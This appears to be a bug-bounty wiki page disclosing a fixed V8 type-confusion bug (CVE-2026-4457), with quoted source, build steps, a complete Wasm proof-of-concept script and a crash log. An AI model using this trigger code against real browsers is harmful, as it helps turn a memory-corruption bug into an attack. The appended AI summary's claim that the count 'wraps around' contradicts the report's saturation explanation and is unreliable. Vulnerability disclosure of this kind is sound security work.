Type Confusion in V8 (CVE-2026-4457)
A use-count saturation bug in Turboshaft's IsOnlyUserOf causes incorrect ownership conclusions when an operation's use count exceeds 255, leading to a representation mismatch in WebAssembly decompression optimization. An attacker could craft a Wasm module that triggers invalid memory access in JIT-generated code, causing a crash.
Originally disclosed on Chrome VRP
- Fix shipped in 18 days
VULNERABILITY DETAILS
Summary
A Turboshaft use-count saturation bug in Operation::IsOnlyUserOf causes incorrect ownership conclusions once an operation's use count saturates at 255. In the WebAssembly decompression optimization path, this can keep a Phi value compressed while one of its inputs must remain tagged, producing a representation mismatch and invalid x64 addressing during generated code execution.
Detail
Root cause is in src/compiler/turboshaft/operations.cc:
bool Operation::IsOnlyUserOf(const Operation& value, const Graph& graph) const {
DCHECK_GE(std::count(inputs().begin(), inputs().end(), graph.Index(value)), 1);
if (value.saturated_use_count.IsOne()) return true;
return std::count(inputs().begin(), inputs().end(), graph.Index(value)) ==
value.saturated_use_count.Get();
}
value.saturated_use_count is SaturatedUint8 (src/compiler/turboshaft/operations.h) and saturates at 255. When the true use count is greater than 255, Get() still returns 255. If a specific user (here, a Phi) references the value exactly 255 times, IsOnlyUserOf returns true even though other users still exist.
This incorrect result is consumed in src/compiler/turboshaft/decompression-optimization.cc by DecompressionAnalyzer::MarkAddressingBase:
if (!input.Is<LoadOp>() || !base.IsOnlyUserOf(input, graph) ||
!input.Cast<LoadOp>().loaded_rep.IsCompressibleTagged()) {
keep_compressed = false;
break;
}
For the crafted Wasm graph, one LoadOp is used 355 times total (255 in the Phi + 100 elsewhere). Due to saturation, IsOnlyUserOf misreports sole ownership and the Phi is kept Compressed, while the same LoadOp still has other uses requiring tagged handling. That inconsistency propagates into instruction selection and register allocation, producing generated code that treats a full tagged pointer as a compressed-offset operand in a complex addressing form, leading to immediate invalid memory access in JIT code.
VERSION
V8 Commit: 7f3825903cdc2eb341462710172b73dc5ca9215d
ENVIRONMENT SETUP
Release ASan:
gn gen out/release_asan --args='is_asan=true is_debug=false v8_enable_test_features=false symbol_level=1'
ninja -C out/release_asan d8
REPRODUCTION CASE
- Save PoC as
repro.js:
d8.file.execute("test/mjsunit/wasm/wasm-module-builder.js");
let emit_leb = (v) => {
let res = [];
do {
let byte = v & 0x7f;
v >>= 7;
if (v !== 0) byte |= 0x80;
res.push(byte);
} while (v !== 0);
return res;
};
let builder = new WasmModuleBuilder();
let structType = builder.addStruct([makeField(kWasmI32, true)]);
builder.addGlobal(wasmRefNullType(structType), true, false).exportAs("g0");
builder.addGlobal(wasmRefNullType(structType), true, false).exportAs("g1");
let body = [];
body.push(kExprGlobalGet, 0, kExprLocalSet, 1);
for (let i = 0; i < 100; i++) {
body.push(kExprLocalGet, 1, kGCPrefix, kExprStructGet, structType, 0, kExprDrop);
}
body.push(kExprGlobalGet, 1, kExprLocalSet, 2);
body.push(kExprBlock, kWasmRefNull, structType);
for (let i = 0; i < 256; i++) {
body.push(kExprBlock, kWasmVoid);
}
body.push(kExprLocalGet, 0, kExprBrTable);
body.push(...emit_leb(255));
for (let i = 0; i < 255; i++) {
body.push(...emit_leb(i + 1));
}
body.push(...emit_leb(0));
for (let i = 255; i >= 0; i--) {
body.push(kExprEnd);
if (i === 0) {
body.push(kExprLocalGet, 2, kExprBr, ...emit_leb(i));
} else {
body.push(kExprLocalGet, 1, kExprBr, ...emit_leb(i));
}
}
body.push(kExprEnd, kGCPrefix, kExprStructGet, structType, 0);
builder.addFunction("trigger", makeSig([kWasmI32], [kWasmI32]))
.addLocals(wasmRefNullType(structType), 3)
.addBody(body).exportFunc();
builder.addFunction("create", makeSig([], []))
.addBody([
kExprI32Const, 42,
kGCPrefix, kExprStructNew, structType,
kExprGlobalSet, 0,
kExprI32Const, 43,
kGCPrefix, kExprStructNew, structType,
kExprGlobalSet, 1
]).exportFunc();
let instance = builder.instantiate({});
instance.exports.create();
for (let i = 0; i <= 255; i++) {
try { instance.exports.trigger(i); } catch(e) {}
}
console.log("SUCCESS");
- Run:
out/release_asan/d8 --no-liftoff repro.js
CRASH LOG
Received signal 11 <unknown> 000000000000
==== C stack trace ===============================
out/release_asan/d8(__interceptor_backtrace+0x46)[0x61f78f250b86]
out/release_asan/d8(+0x62df500)[0x61f7941ab500]
/lib/x86_64-linux-gnu/libc.so.6(+0x45330)[0x73fbf3245330]
[0x7eba3ebd0bb4]
[end of stack trace]
CREDIT INFORMATION
Reporter credit: Zhenpeng (Leo) Lin at depthfirst
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
The use count is stored in a saturating 8-bit integer that caps at 255, so when the true count exceeds 255, IsOnlyUserOf incorrectly returns true if a single user references the value exactly 255 times.
Impact
The crafted Wasm module causes invalid memory access in JIT-generated code, leading to a crash (signal 11).
What the attacker needed
Ability to run a crafted Wasm module in V8
How it was found
- Save the provided PoC as repro.js.
- Run d8 with the --no-liftoff flag on the PoC.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
This report describes a bug in V8, the JavaScript engine used in Chrome. The bug is in a compiler optimisation that tracks how many times a value is used; when the count exceeds 255, it wraps around and the compiler makes a wrong decision about memory layout, leading to a crash when the generated code runs. An attacker could exploit this by supplying a specially crafted WebAssembly module that triggers the faulty optimisation.
What is Memory corruption?
Native code reads or writes memory it should not: overflows, use-after-free, type confusion. The core of browser, kernel and parser bugs.